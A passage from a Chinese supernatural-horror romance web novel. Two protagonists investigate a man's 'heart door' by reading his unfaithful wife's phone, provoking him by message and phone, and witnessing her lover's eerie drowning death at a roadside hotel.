女人这才重重地哼了一声,不再说话,但脸上的不耐和鄙夷却丝毫未减。 张小欢和男人又聊了几句无关痛痒的日常。 大多是女孩在说“新衣服、布娃娃”,男人在听,偶尔应和几句。 没过多久,那女人便不耐烦地从张小欢手里抽回了手机。 她甚至懒得多说一个字,直接挂断了电话,随手将手机扔在了沙发上。 通过这通毫不避讳外人的电话,宿珩差不多明白了这家人的矛盾所在。 他下意识地瞥了一眼身旁的肖靳言。 肖靳言接收到他的目光,冲他微微挑了一下眉。 很明显。 他从这通电话和之前的观察中,推测出了与自己差不多的线索。 这扇心门的主人—— 也就是那个在结婚照上笑得憨厚的男人。 他的绝望。 恐怕与这个家,与这个女人,与生活的压力脱不了干系。 挂断电话后,女人像是甩掉了什么天大的麻烦,一屁股陷进沙发里。 她百无聊赖地划拉着手机屏幕,似乎是在浏览什么毫无营养的短视频,时不时发出一两声笑。 过了一会儿。 她像是才想起屋里还有三位不速之客,便随口问了一句:“你们要不要留下来,随便吃点东西?” 肖靳言立刻抓住了话头,脸上重新挂上那副恰到好处的客气笑容。 “那就太打扰了,荣幸之至。” 女人似乎已经将刚才肖靳言说理想型是宿珩那档子事,忘得一干二净。 又或许,她纯粹觉得有这么个英俊健硕的男人在眼前晃悠,总归是件赏心悦目的事。 听肖靳言这么一说,她竟真的朝他抛了个媚眼,语气里满是藏不住的得意: “一般人可没这个福气。” “前面路过的那几个赶路的,哼,连进我这门的资格都没有。” 宿珩敏锐地捕捉到她话里的信息,清冷的声音适时响起。 “前面有多少人路过这里了?” 女人闻言,将目光转向宿珩。 那双涂着浓重眼影的眼睛直勾勾地盯着他,眼神露骨,带着一丝不怀好意的戏谑。 “小帅哥,你亲姐姐一口,姐姐就告诉你。” 宿珩沉默了。 他那双向来古井无波的清冷眼眸,平静地回视着女人,眼底没有丝毫波澜。 竟像是在用一种绝对理性的逻辑,认真权衡,用一个“吻”换取这条线索的必要性。 肖靳言在一旁看着。 原本还带着几分看戏的表情,在察觉到宿珩那该死的“认真”后,脸色顿时不太好看了。 他几乎是立刻岔开了话题,高大的身躯从沙发上站起,挡在了宿珩和女人的视线之间。 他对那女人笑道:“大姐,我厨艺还行,不如我来给你打个下手?” 女人被他这么一打岔,注意力果然被吸引了过去。 她被这突如其来的殷勤弄得心花怒放,乐不可支地摆了摆手。 “那敢情好啊,多个人帮忙,总比我自己一个人忙前忙后强。” 肖靳言迈开长腿,在路过宿珩身边时,毫不留情地瞪了他一眼。 那眼神里带着一丝警告和不满。 然后才跟着女人走进了厨房。 宿珩:“……” 他老老实实地重新坐回了沙发里。 另一边,沉默寡言的乐康,将这一切都看在眼里。 尤其是肖靳言看向宿珩时,那毫不掩饰的占有欲。 让他不由自主地想起了自己那个已经死去的男朋友。 曾经,他男朋友也是这样,会用那种带着点霸道和宠溺的眼神,牢牢地看着自己。 一股难言的酸涩涌上心头。 乐康默默低下头,死死盯着面前桌上那只空空如也的水杯。 眼眶,在无人注意的角落,渐渐湿润了。 厨房内。 肖靳言不动声色地打量着所谓的食材。 水槽边放着一个菜篮子。 里面有几颗蔫头耷脑的青菜,两根表皮发皱的胡萝卜,还有一小块看着就不太新鲜的猪肉。 虽然卖相不佳,但好歹,都是能入口的正常食物。 比起之前在第一栋房子里,那个老太婆用尖刀费力从骨头上剔刮下来的,不知道是什么东西的血肉。 眼前的这些,已经算是相当能入眼了。 女人正在水槽前,乒乒乓乓地鼓捣着一口满是油垢的铁锅。 但比起洗锅做饭,她对肖靳言的兴趣显然要浓厚得多。 她借着让他帮忙洗菜的名义,丰腴的身体,总是有意无意地往他身上紧贴。 那双涂着鲜红指甲油的手,甚至还想趁机揩一把他骨节分明的手背。 肖靳言面上依旧带着和煦的笑容,身体却总能在关键时刻,不着痕迹地避开她的碰触。 动作行云流水,游刃有余,不露丝毫刻意的破绽。 女人几次三番扑了个空,心里顿时生出几分恼意,刚想发作。 冷不防一抬头。 她触及到了面前男人那双黑沉沉的,仿佛能洞穿人心的深邃瞳孔,以及他嘴角那抹似笑非笑的弧度。 那一瞬间,他周身温和的气场荡然无存。 她没来由地感到一阵心悸。 取而代之的,是一种仿佛被某种蛰伏已久的大型猛兽,用冰冷的目光死死锁定的错觉。 一股源自本能的寒意,瞬间从她的尾椎骨窜上天灵盖。 女人干笑两声,急忙找了个蹩脚的借口: “哎呀,这厨房太小了,挤着两个人怪热的,你还是出去等着吧,我一个人能搞定。” 肖靳言自然乐得清静。 他回到客厅,径直走到宿珩身边坐下。 宿珩正趁着女人在厨房忙碌的间隙,悄无声息地拿起了被女人随手扔在沙发上的那部智能手机。 手机屏幕并没有上锁。 他以女人在厨房里看不到的角度,迅速划开了聊天软件的窗口。 置顶的几个聊天框,头像暧昧,备注露骨。 宿珩随手点开其中一个。 一连串不堪入目的消息记录瞬间映入眼帘。 污言秽语,还有一些转账记录和露骨照片。 这些内容,无疑证实了他之前的推测—— 这个心门的主人,确实遭受了来自妻子的背叛。 宿珩面无表情地切出聊天框。 修长的手指在屏幕上快速操作,干净利落地,将那些暧昧不清的联系人,连同聊天记录,删了个一干二净。 他甚至能想象到。 当那个女人重新拿到手机时,那张涂满脂粉的脸,会被气成什么颜色。 随后,宿珩点开了通话记录。 记录里,出现频率最高的,几乎都是同一个没有备注的号码,每隔一两天就会有一次通话记录。 最新的那条,正是刚刚结束的那一通。 是女人名义上的丈夫。 宿珩默默记下了那串号码。 他继续往下翻了两页,目光忽然顿住。 在一个不太起眼的位置,出现了一个不一样的号码。 从号码的位数和格式判断,像是一个座机号码,而且通话次数频繁,几乎每周都有一次。 宿珩抬眸,向身旁的肖靳言递去一个眼神。 接收到宿珩的信号,肖靳言摸了摸鼻子,心领神会地“啧”了一声。 他太清楚这家伙又想搞什么小动作了。 肖靳言无奈地起身,重新走到厨房门口。 双臂抱在胸前,高大的身躯懒洋洋地倚在门框上,有一搭没一搭地和里面的女人没话找话。 他的身影,正好将女人望向客厅的视线,堵得严严实实。 而宿珩趁此机会,迅速在手机上按下了那串座机号码,并拨了出去。 电话“嘟嘟”响了两声。 很快,那边被人接通了。 一个略显轻佻的男人声音从听筒里传了出来,带着一丝暧昧的笑意,开口便是:“这才几天没见,就想我了?” 宿珩没有说话。 电话那头似乎并不意外他的沉默。 紧接着又笑了一声,语气熟稔地说道:“行了,别装了,老地方等你啊,房号这次换了,你去702找我。” 说完,不等宿珩回应,对方便干脆利落地直接挂断了电话。 宿珩拿着手机,微微一愣。 虽然对方的反应有些出乎意料,但他已经明白了。 下一个可以落脚的地方,是什么地方了。 房号,702。 第83章 第 83 章 无尽公路7 宿珩挂断电话, 脸上没有露出丝毫异样。 他趁着肖靳言将那女人的注意力完全吸引的机会,手指在手机屏幕上飞快滑动。 他再次点开聊天软件,指尖联系人那栏迅速滑动, 很快便找到了一个备注为“老公”的联系人。 点开对话框。 长长的聊天记录里,几乎全是清一色的转账截图。 六千,六千, 五千三。 金额不等,但频率很高。 每一笔转账下面,都附着男人发来的几句简短的话。 [老婆, 这是这个月的工资, 你先拿着花。] [天冷了, 给小欢和小伟买两件厚衣服。] [我脚伤了,去医院花了六百, 所以这个月工资少了一点,我在这边挺好的,别担心。] 而女人的回复,只有系统自动显示的“某某某已领取转账”。 除此之外, 再无一言。 宿珩的目光在那些冰冷的转账记录上停留了片-秒。 随即, 他抬起修长的手指, 在输入框里敲下了一行字。 [你在哪儿, 到底什么时候回来?] 几乎是在消息发出去的瞬间,对面就有了回复, 快得让人心惊。 [我还在铁路上,过几天就回了, 小伟没接我电话,是生病了吗?] 字里行间,透着一股对儿子难以掩饰的焦急和关切。 宿珩看着那条回复, 眸色深沉。 他想了想,手指再次在屏幕上敲击,故意发去了一条截然不同的消息。 [我在702等你] 消息发送成功后,他特意等了两秒。 两秒后,宿珩便毫不犹豫地长按了那条消息,选择了撤回。 他相信,即便只有这短短一两秒的时间,那个一直紧盯着手机的男人,也绝对看到了。 做完这一切。 不等男人回复,他迅速动手删除了刚刚的对话记录,然后果断地点了右上角的设置,将他干脆利落地拉入了黑名单。 以防女人看到。 宿珩把手机放回原位。 没过多久,女人端着两个菜盘子走了出来。 一个青椒炒肉,一个胡萝卜丝,菜色暗淡,油放得极重,盘子边缘还沾着黑乎乎的油垢。 “吃饭了!” 她没好气地对着卧室的方向吼了一声,将两个菜盘重重地放在茶几上。 卧室的门被拉开,两个孩子一前一后地走了出来,默默地在茶几边的小板凳上坐下,谁也不敢说话。 女人给他们一人盛了一碗饭,自己也盛了一碗,便头也不抬地狼吞虎咽起来。 肖靳言和宿珩对视一眼,也各自盛了饭。 乐康更是饿得不行,也顾不上菜好不好吃,埋头就往嘴里扒饭。 一顿饭在沉闷压抑的气氛中很快就结束了。 女人吃完,把碗筷往茶几上一推,打了个长长的哈欠,站起身伸了个懒腰,丰腴的曲线毕露。 “困死了,老娘要去睡午觉了。” 她说着,眼神恋恋不舍地在肖靳言和宿珩身上来回打转,最后抛了个媚眼,才扭着腰回了自己的卧室,“砰”地一声关上了门。 女人一走,客厅里的气氛顿时松快了不少。 女孩张小欢默默地站起身,开始收拾桌上的狼藉。 她旁边的弟弟张小伟也想帮忙,却笨手笨脚地差点把一摞盘子打翻在地。 “我来吧。” 宿珩站起身,从男孩手里接过了那摞油腻的碗筷。 张小欢愣了一下,抬头看着这个长得很好看的大哥哥,小声地说了句:“谢谢哥哥。” 宿珩端着碗筷,和她一起走向厨房,状似随意地开口问道:“你爸爸,这次出去多久没回来了?” 女孩跟在他身后,闻言,很认真地掰着自己的手指头,一根一根地数着。 “一天,两天,三天……” 她数得很慢,很仔细,最后停留在第九根手指上。 随后她抬起头,失落地说道:“爸爸这次,已经有九天没有回来了。” 九天。 宿珩心中一动。 这代表……这扇心门,已经存在了九天。 等肖靳言借着洗碗的名义,重新将三人的水瓶都灌满水后,他们没有再做停留。 三人离开了这间三居室,重新踏上了外面的公路。 刚一踏出门,那股熟悉的,几乎能将人烤熟的酷热,便再次迎面扑来。 宿珩回头看了一眼。 身后那间孤零零杵在路边的三居室,正在蒸腾的热浪中,如同投入水中的墨迹般,迅速模糊扭曲。 最终,彻底消失不见,仿佛从未存在过。 公路上,只剩下他们三人,以及前方那条永远看不到尽头的柏油路。 “我去看看。” 肖靳言忽然顿住脚步。 乐康还没反应过来他要看什么,就见肖靳言迈开长腿,径直朝着公路边那片翻涌不休的灰色浓雾走了过去。 “别去!”乐康脸色大变,几乎是脱口而出地尖叫起来,“那里有怪物!” 他男朋友被活活撕碎的惨状,还历历在目。 然而,肖靳言的脚步却没有丝毫停顿,仿佛没有听到他的警告,身影很快便没入了那片浓稠的灰雾之中。 雾气剧烈地翻涌起来。 隐约间,能看到几个诡异的黑色影子,如同鬼魅般朝着肖靳言消失的方向猛扑过去。 紧接着,雾中传来怪物愤怒的嘶吼,以及几声极其干净利落的,金属划破皮肉的“嗤啦”声。 一切又很快归于平静。 乐康紧张得心脏都快从喉咙里跳出来了,死死盯着那片灰雾,大气都不敢喘。 不过十几秒的功夫。 肖靳言高大的身影,便从翻涌的灰雾中,闲庭信步般走了回来。 他脸上没什么表情,只是有些嫌弃地甩了甩手中那把黑色短刀上沾染的黏稠液体。 他走到宿珩面前,沉声说道:“雾里面的确有一条并行的铁轨。” “不过,铁轨上盘踞着很多怪物。” “强行靠近,只会激怒它们,数量太多了,不好对付。” 这个结果,在宿珩的意料之中。 那条铁轨,是心门主人工作的地方,也是他痛苦的根源之一。 他背负着巨大的压力和绝望在那里日复一日、风雨无阻地工作。 自然不会让他们轻易靠近。 唯一的路,还是只有脚下这条。 肖靳言变戏法似的,没人看清他是怎么将短刀收回的。 随即,他侧过头,目光落在宿珩身上,挑了挑眉。 “说吧,刚才在那女人的手机上,都捣鼓了些什么?” 宿珩平静地回视着他,清冷的声音在炙热的空气里,听不出太多情绪。 “我在尝试。” “尝试什么?” “尝试在下一个落脚点,见到这扇心门的主人。” 肖靳言没看到他具体的聊天内容。 但以他对宿珩的了解,也能猜到这家伙十有八九又做了些什么骚操作。 他耸了耸肩,嘴角勾起一抹饶有兴味的弧度。 “那我可就拭目以待了。” 说完,他便没有再多问。 不知为什么,只要是宿珩的安排,他向来有着近乎盲目的信任。 三人没有再耽搁,转身继续沿着那条仿佛被诅咒了的公路,向前走去。 这一次,他们只走了约莫两个多小时。 头顶那轮毒辣的烈日还未彻底落下,天空却毫无征兆地再次阴沉下来。 浓厚的乌云如同鬼魅般凭空汇聚,以肉眼可见的速度,迅速吞噬了天光,将整片大地都拖入了昏暗之中。 狂风呼啸而起,公路两旁的灰雾被搅得剧烈翻涌,发出呜呜的怪啸。 气温骤降,一股冰冷刺骨的寒意,再次取代了先前令人窒息的酷热。 宿珩默默抬头看了一眼那黑沉沉的天幕,在心里计算着时间。 从上一次暴雨结束,到这一次乌云汇聚,差不多又是六个小时。 这意味着—— 每隔六个小时,这扇心门里的天气就会发生一次极端的变化。 从酷热到暴雨,周而复始,或许还有其他更极端的天气,暂时不为人知。 但宿珩几乎可以断定。 公路上气候变化,实际上代表着心门主人在铁轨上工作的真实状态。 日复一日,在极其恶劣的环境中,进行着高强度的劳作,没有片刻喘息。 “轰隆!” 一声沉闷的雷鸣自云层深处滚过,预示着又一场狂风暴雨即将来临。 好在经过了之前的休整,眼下三人的体力还算充足。 “快走!” 肖靳言低喝一声,率先加快了脚步。 宿珩和乐康也立刻跟上,三人顶着愈发狂暴的风,在昏暗的公路上奋力前行。 终于。 赶在倾盆大雨彻底落下之前,他们看到前方不远处,出现了一栋孤零零的建筑。 那是一栋约莫七层楼高的老式宾馆。 楼顶上挂着一个已经有些掉漆的招牌,几个霓虹灯管闪烁着暗红色的光,拼凑出四个大字—— [红太阳宾馆] 三人立刻朝着宾馆的方向冲了过去。 刚冲到门口,黄豆大的雨点便“噼里啪啦”地砸了下来。 肖靳言一把推开宾馆那扇沉重的玻璃门. 一股混杂着潮湿霉味和消毒水味道的空气,迎面扑来。 宾馆的大堂不大,光线昏暗. 前台后面,一个穿着制服的中年女人正趴在柜台上打瞌睡。 肖靳言走上前,屈起指节,不轻不重地敲了敲柜台。 女人被惊醒,睡眼惺忪地抬起头,看到门口风尘仆仆的三人,愣了一下,才有些不耐烦地问道:“住宿?” “开房。” 肖靳言言简意赅。 女人的目光在三人身上扫了一圈,语气公式化地问道:“三间单人房吗?” “不。” 肖靳言的视线从宿珩和乐康的脸上一扫而过,随即唇角微不可察地一扬。 “一间单人房,一间大床房。” 这话一出口,不止是前台的女人惊呆了,连站在他身后的乐康都猛地睁大了眼睛。 乐康怔怔地看着肖靳言高大挺拔的背影,又看了看旁边那个从始至终都面不改色的清冷少年。 一股难以言喻的酸楚和失落,瞬间涌上了他的心头。 他默默地叹了口气,再次不可抑制地,怀念起自己那个已经死去的男朋友。 宿珩仍是那副波澜不惊的模样。 对于和肖靳言睡同一张床这种事,他早已习惯。 毕竟又不是第一次了。 只不过越发明目张胆了一些…… 宿珩察觉到了身旁乐康情绪的低落。 他侧过头,用只有两个人能听到的声音,低声安慰了一句。 “是因为钱不够了。” 乐康的身体微微一僵,随即木然地点了点头,接受了这个说法,作为自己内心深处那点微不足道的慰藉。 前台的女人回过神来,用一种古怪的眼神重新打量了一遍肖靳言和宿珩,似乎想说些什么,但最终还是把话咽了回去。 肖靳言像是没看到她的眼神,继续说道:“房间要7楼的。” “7楼没有单人间了。” 女人翻了翻登记本,头也不抬地说道。 “没关系。”肖靳言的语气不容置喙,“只要大床房在就行。” 女人脸上的表情更加古怪了。 她欲言又止地看了肖靳言一眼,最终还是没再多说什么,低头开好了房。 她从抽屉里拿出两张房卡,递了过来。 “单人间在303,大床房是701,一共498块,怎么支付?” 肖靳言翻出钱包,从内里抽出五张一百元的纸币,递了过去。 随后接过房卡,顺手将303那张递给了乐康。 “找你的两块钱。” 女人从钱箱里翻出两个硬币,扔在柜台上。 肖靳言没拿,只是淡淡地说了一句:“不用找了。” 但宿珩却固执地将那两枚硬币捡了起来,递到肖靳言面前。 肖靳言哑然失笑,接过钱后便转身,朝着不远处的电梯口走去。 巧的是,他们刚走到电梯门口,电梯门“叮”的一声,正好下到1楼。 从里面走出来的,竟然是之前在简易板房里遇到的那两男一女。 再次见到肖靳言他们,那三人的脸上也露出了毫不掩饰的惊讶。 “是你们?” 那个年长一些的男人率先开口。 肖靳言冲他们点了点头,算是打过招呼。 “你们这是刚到?”男人又问。 “嗯。” 简单寒暄了两句,那三人便急匆匆地走向前台,似乎是要买些吃的喝的。 肖靳言三人则走进了电梯。 电梯在3楼停下,乐康拿着房卡走了出去。 电梯门关上,狭小的空间里,只剩下肖靳言和宿珩两个人。 电梯继续上升,直达7楼。 “叮——” 电梯门缓缓打开。 7楼的走廊铺着暗红色的地毯,墙壁上贴着已经有些发黄的壁纸,空气里弥漫着一股陈旧的味道。 他们的房间是701,就在电梯口的左手边。 肖靳言拿出房卡,正准备刷卡开门。 宿珩却伸手拦住了他。 在肖靳言略带询问的目光中,宿珩没有说话,只是轻手轻脚地走到了701隔壁,那扇紧闭的702房门前。 他将耳朵贴在冰冷的门板上,侧耳倾听了片刻。 门内一片死寂,听不到任何动静。 想来,他要等的人,还没有到。 宿珩退了回来,对肖靳言微微摇了摇头。 肖靳言了然,这才用房卡“滴”的一声,刷开了701的房门。 一进门,一股暧昧的气息便扑面而来。 房间是标准的宾馆布局. 一张大床,一个床头柜,对面墙上挂着一台老旧的电视。 但诡异的是,房间的灯光是粉红色的,连床头灯的灯罩都是暧昧的粉纱。 床头的墙壁上,甚至还贴着一张衣着暴露的美女海报。 肖靳言扫了一圈房间,目光最后落在床头柜上。 他走过去,伸出两根手指,捻起一个印着“超薄”字样的小方盒,在宿珩面前晃了晃,啧了一声。 “东西倒是齐全。” 说着,他随森*晚*整*理手将那个小盒子扔回了原地,转过身,揉了揉脖子。 “我去洗个澡。” 连日的奔波和极端天气的折磨,让他也感到了一丝疲惫。 “嗯。” 宿珩应了一声,走到窗边,拉开了厚重的窗帘。 窗外,暴雨如注,整个世界都被笼罩在一片灰蒙蒙的雨幕之中。 他看着窗外的雨景,淡淡地补充了一句。 “洗快点。” 肖靳言刚走到浴室门口的脚步一顿。 他回过头,看向宿珩的背影,眉梢高高地挑了起来,语气里带着一丝不正经的调笑。 “怎么,这就等不及了?” 宿珩闻言,终于舍得将视线从窗外收回。 他转过身,面无表情地对着肖靳言,翻了一个极其优雅的白眼,无视了他的嘴欠。 “你等得及的话,就慢点洗。” 肖靳言自然知道他说的是702即将发生的事。 但他不知想到了什么,低低地笑了一声,心情颇好地走进了浴室。 很快,浴室里便传来了哗啦啦的水声。 宿珩站在窗前。 不知为何。 窗外暴雨砸落的声音,却始终隔绝不了浴室里的哗啦水声。 第84章 第 84 章 无尽公路8 浴室里的水声停了。 过了许久, 门才被人从里面慢悠悠拉开。 肖靳言赤着脚走了出来,周身还裹挟着一片温热氤氲的水汽。 他似乎是嫌弃自己那身被汗水反复浸湿的衣服,简单搓洗后晾在了卫生间里。 此刻, 他身上只松松垮垮地裹了一件宾馆提供的白色浴袍。 浴袍的质量不怎么好,洗得有些发硬,穿在肖靳言高大健硕的身体上, 明显短了一截。 腰带也只是随意在腰间系了一个松散的结。 敞开的领口之下,古铜色的结实胸肌,与壁垒分明的腹肌线条, 在昏暗中勾勒出充满力量感的阴影。 水珠顺着他利落的短发发梢滚落, 滑过紧实的皮肤, 最终隐没进浴袍深处,那片更晦暗的区域。 正站在窗边的宿珩, 闻声下意识地回首一瞥。 视线恰好撞上那片肌理分明、热气蒸腾的胸膛。 肖靳言手里正捏着一条毛巾,动作不紧不慢地擦拭着湿漉漉的头发。 尽管这副景象早已不是第一次目睹。 但心脏漏跳半拍的感觉,却还是不受控制地,每一次都悄然浮现。 又或许是这701房间里, 过分暧昧的色调在暗中作祟。 宿珩感觉喉咙竟有些微的发干, 心跳也透出一丝陌生的、不受掌控的急促。 他很好地压下了这份异样, 若无其事地将视线重新投向窗外那片被暴雨冲刷的世界。 肖靳言将擦完头发的毛巾随手丢在床头柜上, 踱步到宿珩身边,顺着他的目光往外扫了一眼。 “隔壁还没动静?” 宿珩摇了摇头, 声音在雨声中显得格外清冷:“等着吧。” “嗯。” 肖靳-言应了一声,似乎觉得站着有些乏了, 转身便在身后那张铺着俗艳粉色床单的大床上,四仰八叉地躺了下来。 他舒服地舒展了一下筋骨,双手枕在脑后。 本就偏短的浴袍下摆, 因为这个大开大合的动作,更是向上卷缩了不少。 两条肌肉匀称、笔直修长的腿就这么毫无遮拦地暴露在空气里。 宿珩转身,只要稍一垂眸,就能清晰地看到浴袍堪堪掩盖下,那片晦暗不明的深处。 “趁着他们还没来……” 肖靳言懒洋洋地开口,嗓音里带着一丝刚沐浴过的沙哑与舒适。 “要不你也先去冲个澡?” 宿珩却摇了摇头,拒绝了这个提议。 “不急。” 他淡淡道:“我看了前台的住宿时间表,按照规则,我们付出了足够的报酬,至少可以住到明天中午再退房。” “行吧。” 肖靳言没再多劝,他侧过头,饶有兴致地打量着宿珩的侧脸。 在房间暧昧的粉色灯光浸染下。 少年清瘦的剪影被笼上一层朦胧的光晕,皮肤显得愈发清透干净,连颊边细小的绒毛都根根分明。 长而卷翘的睫羽在眼睑下方投落一小片淡影,让他那双总是透着几分疏离的眼眸,也平添了几分不易察觉的柔和。 真是越看越顺眼。 宿珩当然察觉到了那道毫不掩饰的,几乎称得上是灼热的视线。 只不过。 他却假装没有看到,只专心致志地看着窗外那片被雨水冲刷得模糊不清的世界。 房间里一时间陷入了某种古怪的沉默。 只有窗外哗啦啦的雨声,和两人之间逐渐升温的,暧昧不明的气氛在悄然发酵。 这份微妙的安静持续了将近一个小时。 就在肖靳言快要躺得昏昏欲睡时—— 走廊外,终于响起了一阵缓慢而略显沉重的脚步声。 那脚步声不疾不徐,最终在他们隔壁的702房门前停下。 “滴——” 一声轻响,是房卡刷开门锁的声音。 门被推开,又随即关上。 没过多久,走廊里又传来一阵相对急促的脚步声,伴随着高跟鞋敲击地面的“嗒嗒”声。 来人似乎没有房卡,直接抬手敲响了隔壁的房门。 门很快就开了。 紧接着,一道女人刻意压低却依旧显得娇媚的笑声,和一个男人沉闷的笑声,隔着薄薄的门板,模糊地传了过来。 宿珩立刻转过身,快步走到了门边。 原本仰躺在床上的肖靳言,也在同一时间坐直了身体,眼底的慵懒瞬间褪去,恢复了一贯的凝肃。 隔壁的房门很快就重新关上了,甚至还传来了反锁的声响。 然而,这家老旧宾馆的隔音效果实在堪忧,即便隔着一堵墙,两人也能清晰地捕捉到里面的对话。 “死鬼,这么久了总算想起我来了?” 是那个刻薄女人的声音,此刻却嗲得能掐出水来。 “这不是忙嘛?”男人闷闷地笑着,“你那个废物老公没发现吧?” “提他干嘛,晦气!” 随后,便是衣物摩擦的窸窣声,以及一些更加不堪入耳的喘/息和呻/吟。 宿珩的眉头瞬间紧紧皱起。 伴随着隔壁那些污秽的声音—— 一股熟悉的,令人窒息的负面情绪,如同潮水般从四面八方涌来,瞬间充斥了整个空间。 是背叛的怨毒。 是被愚弄的愤怒。 是日积月累无法宣泄的痛苦。 还有被生活重担压得骨头都在作响的绝望。 他知道,这是那扇心门的主人,即将出现的征兆。 现在,他们只需要等待。 等到那个被逼入绝境的男人,来敲响这扇埋葬了他最后一点尊严的门。 702房间里的动静越来越大,丝毫没有收敛的意思。 那股浓稠的绝望情绪也随之攀升到了顶点,几乎要化为实质,压得人喘不过气。 最直观的体现,便是窗外的暴雨。 雨势比之前任何时候都要狂暴,像是天河决堤,冰冷的雨点化作无数细小的石子,疯狂地砸在玻璃窗上,发出骇人的巨响。 整个房间的温度,也仿佛在瞬间被抽空,变得阴冷刺骨。 宿珩甚至能感觉到—— 这股寒意,已经不仅仅是单纯的体感,而是源自心底最深处的战栗。 不止是他,这栋宾馆里的其他人,恐怕也感受到了这股异常。 然而。 宿行和肖靳言,却没有等来预想中的敲门声。 “啊——!” 一声属于男人的,凄厉至极的惨叫,毫无预兆地撕裂了雨夜的嘈杂,从隔壁猛地传来。 紧接着,便是女人惊恐万状的求饶声。 “啊啊啊啊啊……” “我错了我错了……求求你放过我吧!” 宿珩眼神骤然一凛,再也顾不上等待,直接转身拉开房门冲了出去! 肖靳言反应更快,几乎是在惨叫声响起的瞬间,他便已经从床上翻身而起,那把黑色的短刀不知何时又回到了手中,紧随其后地跟了出去。 两人一前一后地冲到702的房门前。 眼前的景象,却让他们的脚步同时一顿。 房门大敞四开,门锁完好,没有任何被暴力破坏的痕迹。 房间内,那个浓妆艳抹的女人,此时衣衫不整地瘫倒在床边的地毯上,脸上血色尽失,瞳孔因为极致的恐惧而放大到极限,正浑身筛糠般地发着抖。 而在她面前的大床上,躺着一具赤裸的男性尸体。 那男人的身体呈现出一种极不自然的浮肿,皮肤被水泡得惨白发皱,像是已经在水里溺亡了很久很久,才被人打捞上来。 除此之外,房间里空无一人。 那个本该出现在这里,捉奸在床的心门主人,仿佛只是一个凭空出现的幻影。 来过,又消失了。 …… 除此之外。 那股令人窒息的浓烈绝望,同样来得快,去得也快。 就像一场突兀的潮汐,在淹没一切的瞬间,又迅速退去。 取而代之的—— 是一种藏在空气里的,若有若无的,混杂着扭曲和疯狂的……快感。 大仇得报的那种快感。 宿珩的脸色不太好看。 原以为能借着这场捉奸的戏码,将心门的主人逼出来,但事与愿违。 他确实来了。 但他的出现,比想象里要诡异得多,也更……无声无息。 宿珩深深地看了一眼那个瘫在地上,惊魂未定的女人,试探性地开口,声音清冷。 “刚才是谁来了?” 女人像是被这个声音惊得触了电,猛地一哆嗦。 她语无伦次地尖叫着,双手在空中胡乱挥舞,像是在驱赶什么看不见的鬼魅。 “别过来……别过来!” “我错了我错了……我真的错了啊啊——” 她的精神显然已经彻底崩溃,眼看是问不出任何有用的线索了。 宿珩不再浪费时间。 他收回目光,反手将702的房门轻轻带上,把里面那女人神经病一样的哭喊,关在了门后。 他转过身,一句话也没说,走回了701。 肖靳言的脸色同样沉重。 他紧随其后地跟进房间,高大的身躯堵在门口,反手将门关上并落了锁。 房间里那暧昧的粉色灯光,此刻看来只觉得说不出的诡异。 他刚想开口说些什么,却见宿珩一语不发地脱掉上衣,径直走进了卫生间。 “去洗澡?”肖靳言问了一句。 门内,传来一声含混不清的“嗯”,随即被哗啦啦的水声彻底淹没。 肖靳言耸了耸肩。 他重新走回床边,但这次没躺下。 他靠着墙,抽出了那把黑色的短刀。 冰冷的刀锋在他骨节分明的手指间,挽出一道道利落的刀花,在粉色的灯光下折射出森然的冷光。 他的脑子却在飞速运转。 把所有的线索,像拼图一样,重新在脑子里过了一遍。 一个常年在外,从事高危高强度铁路工作的男人。 一对只会伸手索要,从不关心他死活的亲人。 一个贪得无厌,抱怨不休,甚至公然出轨的妻子。 一对被母亲教唆,对父亲充满抵触和怨恨的儿女。 …… 这些,共同构筑了男人内心那座名为绝望的牢笼。 而刚才,那个男人以一种近乎鬼魅的方式,杀死了妻子的情夫。 这意味着,在这扇心门里,他拥有着某种超乎寻常的,足以扭曲规则的力量。 肖靳言的眉头紧紧锁起。 时间在水声和寂静中缓缓流逝。 大约半小时后,卫生间的门被拉开。 宿珩洗完了澡,同样换上了一件宾馆提供的白色浴袍,走了出来。 他头发上的水珠还没擦干,几缕湿润的黑发贴在光洁饱满的额前,水汽氤氲下,那张总是带着几分清冷疏离的脸庞,竟显得格外干净清透。 浴袍有些宽大,松松垮垮地裹在他纤瘦的身体上,更衬得他脖颈修长,锁骨的线条清晰漂亮。 肖靳言已经躺回了床上,目光在他身上停留了几秒,喉结不自觉地上下滚动了一下。 宿珩没有在意他的视线,径直走到大床的另一侧坐下。 他的目光,落在了床头柜上那台老旧的,款式过时的座机电话上。 这种宾馆内部专供的电话,通常只能拨打前台或者其他客房的内线。 但宿珩只是静静地看着它,像是在思考什么。 片刻后,他伸出手,拿起了听筒。 在肖靳言略带诧异的注视下,宿珩白皙修长的手指,在布满灰尘的数字按键上,不疾不徐地摁出了一串号码。 正是他从那个女人的手机上,牢牢记下的,属于心门主人的电话号码。 他将听筒贴在耳边。 听筒里,传来一阵单调而重复的“嘟——嘟——”声。 一声,两声,三声。 忙音在寂静的房间里回响,带着一种令人心焦的空洞。 肖靳言停下了手里转动的短刀,所有的注意力都集中了过去。 就在第九声忙音响起,宿珩几乎要以为这通电话不会被接通,准备挂断的时候。 听筒那边,忽然传来“咔哒”一声轻响。 紧接着,一个沙哑的,透着无尽疲惫的男人声音,从电流的嘶嘶声中,传了过来。 “喂,你找谁?” 宿珩握着听筒的手指,几不可察地收紧了一瞬。 但他脸上的表情没有丝毫变化,那双漆黑的眼眸依旧平静得如同一潭深水。 他只是极短暂地停顿了一下,便恢复了一贯的冷静,薄唇轻启,对着听筒,说出了一句让肖靳言眉头狂跳的话。 “你老婆饭做得不错,想吃的话,我在701等你。” 这句话,像是一块巨石,被猛地投入了死寂的湖面。 电话那头,顿时陷入了一片死一样的沉默。 没有质问,没有怒骂。 只有沉默。 但下一秒,一阵越来越粗重,越来越压抑的呼吸声,透过听筒,清晰地传了过来。 那呼吸声里,饱含着被戏耍的愤怒,被触及逆鳞的狂暴,以及一种近乎疯狂的杀意。 宿珩成功地激怒了他。 目的达到,他便见好就收,没有再多说一个字,直接按下了挂断键。 听筒里最后的声音,是男人那因为极致愤怒,而变得如同破旧风箱般的喘息。 宿珩将听筒轻轻放回了原位。 身旁,肖靳言被宿珩这胆大包天的挑衅行为,弄得有些哭笑不得。 他无奈地叹了口气,将手里的短刀收好,伸手揉了揉宿珩还带着湿气的头发。 “看来今天晚上,是睡不上一个好觉了。” 宿珩被他突如其来的摸头弄得很不自在,不过他并没有多说什么,翻身上床,径直躺在了肖靳言的旁边。 他的脸上没有丝毫即将要直面心门主人的紧迫感。 